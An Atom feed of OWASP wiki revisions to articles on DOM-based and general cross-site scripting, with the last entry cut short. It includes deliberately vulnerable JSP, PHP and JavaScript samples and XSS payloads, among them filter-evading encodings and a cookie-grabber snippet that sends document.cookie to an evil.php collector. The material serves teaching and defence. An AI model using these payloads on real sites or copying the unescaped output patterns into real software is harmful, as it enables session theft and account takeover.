<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Roman</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Roman"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Roman"/>
		<updated>2026-04-23T02:29:56Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=DOM_Based_XSS&amp;diff=91683</id>
		<title>DOM Based XSS</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=DOM_Based_XSS&amp;diff=91683"/>
				<updated>2010-10-20T00:38:33Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: Added link to OWASP Testing Guide&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{template: Attack}}&lt;br /&gt;
== DOM Based XSS ==&lt;br /&gt;
&lt;br /&gt;
=== Definition ===&lt;br /&gt;
&lt;br /&gt;
DOM Based [[XSS | XSS]] (or as it is called in some texts, “type-0 XSS”) is an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment” in the victim’s browser used by the original client side script, so that the client side code runs in an “unexpected” manner. That is, the page itself (the HTTP response that is) does not change, but the client side code contained in the page executes differently due to the malicious modifications that have occurred in the DOM environment.&lt;br /&gt;
&lt;br /&gt;
This is in contrast to other XSS attacks ([[XSS#Stored_and_Reflected_XSS_Attacks |stored or reflected]]), wherein the attack payload is placed in the response page (due to a server side flaw).&lt;br /&gt;
&lt;br /&gt;
=== Example ===&lt;br /&gt;
&lt;br /&gt;
Suppose the following code is used to create a form to let the user choose his/her preferred language. A default language is also provided in the query string, as the parameter “default”.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
…&lt;br /&gt;
&lt;br /&gt;
Select your language:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;select&amp;gt;&amp;lt;script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
document.write(&amp;quot;&amp;lt;OPTION value=1&amp;gt;&amp;quot;+document.location.href.substring(document.location.href.indexOf(&amp;quot;default=&amp;quot;)+8)+&amp;quot;&amp;lt;/OPTION&amp;gt;&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
document.write(&amp;quot;&amp;lt;OPTION value=2&amp;gt;English&amp;lt;/OPTION&amp;gt;&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/script&amp;gt;&amp;lt;/select&amp;gt;&lt;br /&gt;
…&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The page is invoked with a URL such as:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://www.some.site/page.html?default=French&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A DOM Based XSS attack against this page can be accomplished by sending the following URL to a victim:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://www.some.site/page.html?default=&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
When the victim clicks on this link, the browser sends a request for: &amp;lt;pre&amp;gt;/page.html?default=&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt; to www.some.site. The server responds with the page containing the above Javascript code. The browser creates a DOM object for the page, in which the document.location object contains the string: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://www.some.site/page.html?default=&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt; &lt;br /&gt;
The original Javascript code in the page does not expect the default parameter to contain HTML markup, and as such it simply echoes it into the page (DOM) at runtime. The browser then renders the resulting page and executes the attacker’s script: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
alert(document.cookie)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Note that the HTTP response sent from the server does not contain the attacker’s payload. This payload manifests itself at the client-side script at runtime, when a flawed script accesses the DOM variable document.location and assumes it is not malicious.&lt;br /&gt;
&lt;br /&gt;
=== Advanced Techniques and Derivatives ===&lt;br /&gt;
&lt;br /&gt;
In the example above, while the payload was not embedded by the server in the HTTP response, it still arrived at the server as part of an HTTP request, and thus the attack could be detected at the server side.  The [http://www.webappsec.org/projects/articles/071105.shtml “DOM Based XSS” paper] ([1]) details a technique to avoid server side detection. It also describes several other possible locations for the payload, besides document.location.&lt;br /&gt;
&lt;br /&gt;
The technique to avoid sending the payload to the server hinges on the fact that URI fragments (the part in the URI after the “#”) is not sent to the server by the browser. Thus, any client side code that references, say, document.location, may be vulnerable to an attack which uses fragments, and in such case the payload is never sent to the server. For example, the above DOM based XSS can be modified into:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://www.some.site/page.html#default=&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
which mounts the same attack without it being seen by the server (which will simply see a request for page.html without any URL parameters).&lt;br /&gt;
&lt;br /&gt;
In December 2006, Stefano Di Paola and Giorgio Fedon described a [http://events.ccc.de/congress/2006/Fahrplan/attachments/1158-Subverting_Ajax.pdf universal XSS attack against the Acrobat PDF plugin] ([4]). This attack applied the fragment variant of DOM based XSS to PDF documents. The researchers discovered that a PDF document served to the browser, when rendered by the Acrobat plugin, may end up executing part of the fragment as Javascript. Since the Javascript is executed in the context (DOM) of the current site, all an attacker needed to exploit this flaw was to simply find a PDF link somewhere on the site for the XSS condition to be met. If the attacker then tricked a user into clicking on (or submitting) a link like:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://www.some.site/somefile.pdf#somename=javascript:attackers_script_here&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
then a victim using an un-patched Acrobat reader would succumb to the attack. Adobe patched their reader after they were made aware of this flaw, but if not all users have downloaded the patch then those users are still vulnerable to this type of attack.&lt;br /&gt;
&lt;br /&gt;
Ivan Ristic did some research and proposed some server side defenses against this type of attack in his presentation &amp;quot;Protecting Web Applications from Universal PDF XSS: A discussion of how weird the web application security world has become&amp;quot; at the [[OWASP_AppSec_Europe_2007_-_Italy |2007 OWASP Europe AppSec Conference]] in Milan. His presentation ([5]) can be downloaded [http://www.owasp.org/images/c/c2/OWASPAppSec2007Milan_ProtectingWebAppsfromUniversalPDFXSS.ppt here].&lt;br /&gt;
&lt;br /&gt;
=== Extensions ===&lt;br /&gt;
&lt;br /&gt;
Ory Segal gave an example (section “Javascript flow manipulation” in [2]) of how a target page can be framed and the frame’s parent (in the attacker’s control) can be devised in such manner that it affects the execution of the target page in a way desired by the attacker. The technique shows how DOM manipulation can be useful to modify the execution flow of scripts in the target page.&lt;br /&gt;
&lt;br /&gt;
Kuza55 and Stefano Di Paola discussed more ways in which the concept of DOM manipulation and DOM based XSS can be extended in [3]. &lt;br /&gt;
&lt;br /&gt;
=== References ===&lt;br /&gt;
&lt;br /&gt;
[1] “DOM Based Cross Site Scripting or XSS of the Third Kind” (WASC writeup), Amit Klein, July 2005&lt;br /&gt;
&lt;br /&gt;
http://www.webappsec.org/projects/articles/071105.shtml &lt;br /&gt;
&lt;br /&gt;
[2] “JavaScript Code Flow Manipulation, and a real world example advisory - Adobe Flex 3 Dom-Based XSS” (Watchfire blog), Ory Segal, June 17th, 2008&lt;br /&gt;
&lt;br /&gt;
http://blog.watchfire.com/wfblog/2008/06/javascript-code.html&lt;br /&gt;
&lt;br /&gt;
[3] “Attacking Rich Internet Applications” (RUXCON 2008 presentation), Kuza55 and Stefano Di Paola, November 2008&lt;br /&gt;
&lt;br /&gt;
http://www.ruxcon.org.au/files/2008/Attacking_Rich_Internet_Applications.pdf&lt;br /&gt;
&lt;br /&gt;
[4] “Subverting Ajax” (23C3 presentation), Stefano Di Paola and Giorgio Fedon, December 2006&lt;br /&gt;
&lt;br /&gt;
http://events.ccc.de/congress/2006/Fahrplan/attachments/1158-Subverting_Ajax.pdf&lt;br /&gt;
&lt;br /&gt;
[5] &amp;quot;Protecting Web Applications from Universal PDF XSS&amp;quot; (2007 OWASP Europe AppSec presentation) Ivan Ristic, May 2007&lt;br /&gt;
&lt;br /&gt;
http://www.owasp.org/images/c/c2/OWASPAppSec2007Milan_ProtectingWebAppsfromUniversalPDFXSS.ppt&lt;br /&gt;
&lt;br /&gt;
[6] OWASP Testing Guide&lt;br /&gt;
&lt;br /&gt;
[[Testing_for_DOM-based_Cross_site_scripting_(OWASP-DV-003)]]&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cross-site_Scripting_(XSS)&amp;diff=91682</id>
		<title>Cross-site Scripting (XSS)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cross-site_Scripting_(XSS)&amp;diff=91682"/>
				<updated>2010-10-20T00:36:41Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: Updated links from old Testing Guide v2 to current version.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{template: Attack}}&amp;lt;br&amp;gt;&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Security Focus Area]]&lt;br /&gt;
__NOTOC__&lt;br /&gt;
==Overview==&lt;br /&gt;
Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites. Cross-site scripting (XSS) attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates without validating or encoding it.&lt;br /&gt;
&lt;br /&gt;
An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by your browser and used with that site. These scripts can even rewrite the content of the HTML page.&lt;br /&gt;
&lt;br /&gt;
==Related Security Activities==&lt;br /&gt;
&lt;br /&gt;
===How to Avoid Cross-site scripting Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on [[Phishing|Phishing]].&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on [[Data Validation]].&lt;br /&gt;
&lt;br /&gt;
===How to Review Code for Cross-site scripting Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on [[Reviewing Code for Cross-site scripting]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
===How to Test for Cross-site scripting  Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the latest [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to test for the various kinds of XSS vulnerabilities.&lt;br /&gt;
* [[Testing_for_Reflected_Cross_site_scripting_(OWASP-DV-001)]] &lt;br /&gt;
* [[Testing_for_Stored_Cross_site_scripting_(OWASP-DV-002)]] &lt;br /&gt;
* [[Testing_for_DOM-based_Cross_site_scripting_(OWASP-DV-003)]]&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Cross-Site Scripting (XSS) attacks occur when:&lt;br /&gt;
&lt;br /&gt;
# Data enters a Web application through an untrusted source, most frequently a web request. &lt;br /&gt;
#The data is included in dynamic content that is sent to a web user without being validated for malicious code. &lt;br /&gt;
&lt;br /&gt;
The malicious content sent to the web browser often takes the form of a segment of JavaScript, but may also include HTML, Flash or any other type of code that the browser may execute. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data like cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.&lt;br /&gt;
&lt;br /&gt;
===Stored and Reflected XSS Attacks===&lt;br /&gt;
XSS attacks can generally be categorized into two categories: stored and reflected. There is a third, much less well known type of XSS attack called [[DOM Based XSS |DOM Based XSS]] that is discussed seperately [[DOM Based XSS |here]].&lt;br /&gt;
&lt;br /&gt;
====Stored XSS Attacks====&lt;br /&gt;
Stored attacks are those where the injected code is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information.&lt;br /&gt;
&lt;br /&gt;
====Reflected XSS Attacks====&lt;br /&gt;
Reflected attacks are those where the injected code is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request. Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other web server. When a user is tricked into clicking on a malicious link or submitting a specially crafted form, the injected code travels to the vulnerable web server, which reflects the attack back to the user’s browser. The browser then executes the code because it came from a &amp;quot;trusted&amp;quot; server.&lt;br /&gt;
&lt;br /&gt;
====XSS Attack Consequences====&lt;br /&gt;
The consequence of an XSS attack is the same regardless of whether it is stored or reflected ([[DOM Based XSS |or DOM Based]]). The difference is in how the payload arrives at the server. Do not be fooled into thinking that a “read only” or “brochureware” site is not vulnerable to serious reflected XSS attacks. XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. The most severe XSS attacks involve disclosure of the user’s session cookie, allowing an attacker to hijack the user’s session and take over the account. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirect the user to some other page or site, or modify presentation of content. An XSS vulnerability allowing an attacker to modify a press release or news item could affect a company’s stock price or lessen consumer confidence. An XSS vulnerability on a pharmaceutical site could allow an attacker to modify dosage information resulting in an overdose.&lt;br /&gt;
&lt;br /&gt;
===How to Determine If You Are Vulnerable===&lt;br /&gt;
XSS flaws can be difficult to identify and remove from a web application. The best way to find flaws is to perform a security review of the code and search for all places where input from an HTTP request could possibly make its way into the HTML output. Note that a variety of different HTML tags can be used to transmit a malicious JavaScript. Nessus, Nikto, and some other available tools can help scan a website for these flaws, but can only scratch the surface. If one part of a website is vulnerable, there is a high likelihood that there are other problems as well.&lt;br /&gt;
&lt;br /&gt;
===How to Protect Yourself===&lt;br /&gt;
The primary defenses against XSS are described in the [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet |OWASP XSS Prevention Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
Also, it's crucial that you turn off HTTP TRACE support on all webservers. An attacker can steal cookie data via Javascript even when document.cookie is disabled or not supported on the client. This attack is mounted when a user posts a malicious script to a forum so when another user clicks the link, an asynchronous HTTP Trace call is triggered which collects the user's cookie information from the server, and then sends it over to another malicious server that collects the cookie information so the attacker can mount a session hijack attack. This is easily mitigated by removing support for HTTP TRACE on all webservers.&lt;br /&gt;
&lt;br /&gt;
The [[ESAPI |OWASP ESAPI project]] has produced a set of reusable security components in several languages, including validation and escaping routines to prevent parameter tampering and the injection of XSS attacks. In addition, the [[:Category:OWASP WebGoat Project|OWASP WebGoat Project]] training application has lessons on Cross-Site Scripting and data encoding.&lt;br /&gt;
&lt;br /&gt;
===Alternate XSS Syntax===&lt;br /&gt;
====XSS using Script in Attributes====&lt;br /&gt;
&lt;br /&gt;
XSS attacks may be conducted without using &amp;lt;script&amp;gt;&amp;lt;/script&amp;gt; tags.&lt;br /&gt;
Other tags will do exacly the same thing, for example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;body onload=alert('test1')&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
or other attribites like: onmouseover, onerror.&lt;br /&gt;
&lt;br /&gt;
onmouseover&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;b onmouseover=alert('Wufff!')&amp;gt;click me!&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;/prE&amp;gt;&lt;br /&gt;
onerror&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;img src=&amp;quot;http://url.to.file.which/not.exist&amp;quot; onerror=alert(document.cookie);&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====XSS using Script Via Encoded URI Schemes====&lt;br /&gt;
&lt;br /&gt;
If we need to hide against web application filters we may try to encode string characters, e.g.: a=&amp;amp;#X41 (UTF-8) and use it in&lt;br /&gt;
IMG tag:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;IMG SRC=j&amp;amp;#X41vascript:alert('test2')&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
There are many different UTF-8 encoding notations what give us even more possibilities.&lt;br /&gt;
&lt;br /&gt;
====XSS using code encoding====&lt;br /&gt;
&lt;br /&gt;
We may encode our script in base64 and place it in META tag. This way we get rid of alert() totally. More information about this method can be found in RFC 2397&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;META HTTP-EQUIV=&amp;quot;refresh&amp;quot;&lt;br /&gt;
CONTENT=&amp;quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
These (just a little modified by me) and others examples can be found on http://ha.ckers.org/xss.html, which is a true encyclopedia of the alternate XSS syntax attack.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--==Risk Factors==&lt;br /&gt;
TBD&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Examples ==&lt;br /&gt;
&lt;br /&gt;
Cross-site scripting attacks may occur anywhere that possibly malicious users are allowed to post unregulated material to a trusted web site for the consumption of other valid users.&lt;br /&gt;
&lt;br /&gt;
The most common example can be found in bulletin-board web sites which provide web based mailing list-style functionality. &lt;br /&gt;
&lt;br /&gt;
===Example 1=== &lt;br /&gt;
&lt;br /&gt;
The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	&amp;lt;% String eid = request.getParameter(&amp;quot;eid&amp;quot;); %&amp;gt; &lt;br /&gt;
	...&lt;br /&gt;
	Employee ID: &amp;lt;%= eid %&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.&lt;br /&gt;
&lt;br /&gt;
Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.&lt;br /&gt;
&lt;br /&gt;
===Example 2===&lt;br /&gt;
&lt;br /&gt;
The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt; &lt;br /&gt;
	&amp;lt;%... &lt;br /&gt;
	 Statement stmt = conn.createStatement();&lt;br /&gt;
	 ResultSet rs = stmt.executeQuery(&amp;quot;select * from emp where id=&amp;quot;+eid);&lt;br /&gt;
	 if (rs != null) {&lt;br /&gt;
	  rs.next(); &lt;br /&gt;
	  String name = rs.getString(&amp;quot;name&amp;quot;);&lt;br /&gt;
	%&amp;gt;&lt;br /&gt;
	&lt;br /&gt;
	Employee Name: &amp;lt;%= name %&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser. This type of exploit, known as Stored XSS, is particularly insidious because the indirection caused by the data store makes it more difficult to identify the threat and increases the possibility that the attack will affect multiple users. XSS got its start in this form with web sites that offered a &amp;quot;guestbook&amp;quot; to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.&lt;br /&gt;
&lt;br /&gt;
As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:&lt;br /&gt;
&lt;br /&gt;
* As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that may include session information, from the user's machine to the attacker or perform other nefarious activities. &lt;br /&gt;
* As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Stored XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user. &lt;br /&gt;
* A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content. &lt;br /&gt;
&lt;br /&gt;
=== Attack Examples ===&lt;br /&gt;
&lt;br /&gt;
'''Example 1 : Cookie Grabber'''&lt;br /&gt;
&lt;br /&gt;
If the application doesn't validate the input data, the attacker can easily steal a cookie from an authenticated user. All the attacker has to do is to place the following code in any posted input(ie: message boards, private messages, user profiles):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;SCRIPT type=&amp;quot;text/javascript&amp;quot;&amp;gt;&lt;br /&gt;
var adr = '../evil.php?cakemonster=' + escape(document.cookie);&lt;br /&gt;
&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The above code will pass an escaped content of the cookie (according to RFC content must be escaped before sending it via HTTP protocol with GET method) to the evil.php script in &amp;quot;cakemonster&amp;quot; variable. The attacker then checks the results of his evil.php script (a cookie grabber script will usually write the cookie to a file) and use it.&lt;br /&gt;
&lt;br /&gt;
===Error Page Example===&lt;br /&gt;
&lt;br /&gt;
Let's assume that we have an error page, which is handling requests for a non existing pages, a classic 404 error&lt;br /&gt;
page. We may use the code below as an example to inform user about what specific page is missing:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;? php&lt;br /&gt;
print &amp;quot;Not found: &amp;quot; . urldecode($_SERVER[&amp;quot;REQUEST_URI&amp;quot;]);&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Let's see how it works:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://testsite.test/file_which_not_exist&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
In response we get:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Not found: /file_which_not_exist&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now we will try to force the error page to include our code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://testsite.test/&amp;lt;script&amp;gt;alert(&amp;quot;TEST&amp;quot;);&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The result is:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Not found: / (but with JavaScript code &amp;lt;script&amp;gt;alert(&amp;quot;TEST&amp;quot;);&amp;lt;/script&amp;gt;)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
We have successfully injected the code, our XSS! What does it mean? For example, that we&lt;br /&gt;
may use this flaw to try to steal a user's session cookie.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--==Related [[Threat Agents]]==&lt;br /&gt;
* TBD&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
* [[XSS Attacks]]&lt;br /&gt;
* [[:Category:Injection Attack]]&lt;br /&gt;
* [[Invoking untrusted mobile code]]&lt;br /&gt;
* [[Cross Site History Manipulation (XSHM)]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
* [[:Category:Input Validation Vulnerability]]&lt;br /&gt;
* [[Cross Site Scripting Flaw]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
* [[:Category:Input Validation]]&lt;br /&gt;
* [[HTML Entity Encoding]]&lt;br /&gt;
* [[Output Validation]]&lt;br /&gt;
* [[Canonicalization]]&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
* OWASP's [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]&lt;br /&gt;
* OWASP Guide to Building Secure Web Applications and Web Services, Chapter 8: [[Data_Validation|Data Validation]]&lt;br /&gt;
* OWASP Testing Guide, [[Testing_for_Reflected_Cross_site_scripting_(OWASP-DV-001)]] &lt;br /&gt;
* OWASP Testing Guide, [[Testing_for_Stored_Cross_site_scripting_(OWASP-DV-002)]] &lt;br /&gt;
* OWASP Testing Guide, [[Testing_for_DOM-based_Cross_site_scripting_(OWASP-DV-003)]]&lt;br /&gt;
* OWASP's [[How_to_Build_an_HTTP_Request_Validation_Engine_for_Your_J2EE_Application|How to Build an HTTP Request Validation Engine (J2EE validation using OWASP's Stinger)]] &lt;br /&gt;
* Google Code Best Practice Guide: http://code.google.com/p/doctype/wiki/ArticlesXSS&lt;br /&gt;
* The Cross Site Scripting FAQ: http://www.cgisecurity.com/articles/xss-faq.shtml &lt;br /&gt;
* XSS Cheat Sheet: http://ha.ckers.org/xss.html&lt;br /&gt;
* CERT Advisory on Malicious HTML Tags: http://www.cert.org/advisories/CA-2000-02.html &lt;br /&gt;
* CERT “Understanding Malicious Content Mitigation” http://www.cert.org/tech_tips/malicious_code_mitigation.html &lt;br /&gt;
* Understanding the cause and effect of CSS Vulnerabilities: http://www.technicalinfo.net/papers/CSS.html &lt;br /&gt;
* XSSed - Cross-Site Scripting (XSS) Information and Mirror Archive of Vulnerable Websites http://www.xssed.com&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:Fortify}}&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Top Ten Project]]&lt;br /&gt;
[[Category:Java]]&lt;br /&gt;
[[Category:Code Snippet]]&lt;br /&gt;
[[Category:Security Focus Area]]&lt;br /&gt;
[[Category:Attack]]&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cross-site_Scripting_(XSS)&amp;diff=91681</id>
		<title>Cross-site Scripting (XSS)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cross-site_Scripting_(XSS)&amp;diff=91681"/>
				<updated>2010-10-20T00:18:56Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: /* References */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{template: Attack}}&amp;lt;br&amp;gt;&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Security Focus Area]]&lt;br /&gt;
__NOTOC__&lt;br /&gt;
==Overview==&lt;br /&gt;
Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites. Cross-site scripting (XSS) attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates without validating or encoding it.&lt;br /&gt;
&lt;br /&gt;
An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by your browser and used with that site. These scripts can even rewrite the content of the HTML page.&lt;br /&gt;
&lt;br /&gt;
==Related Security Activities==&lt;br /&gt;
&lt;br /&gt;
===How to Avoid Cross-site scripting Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
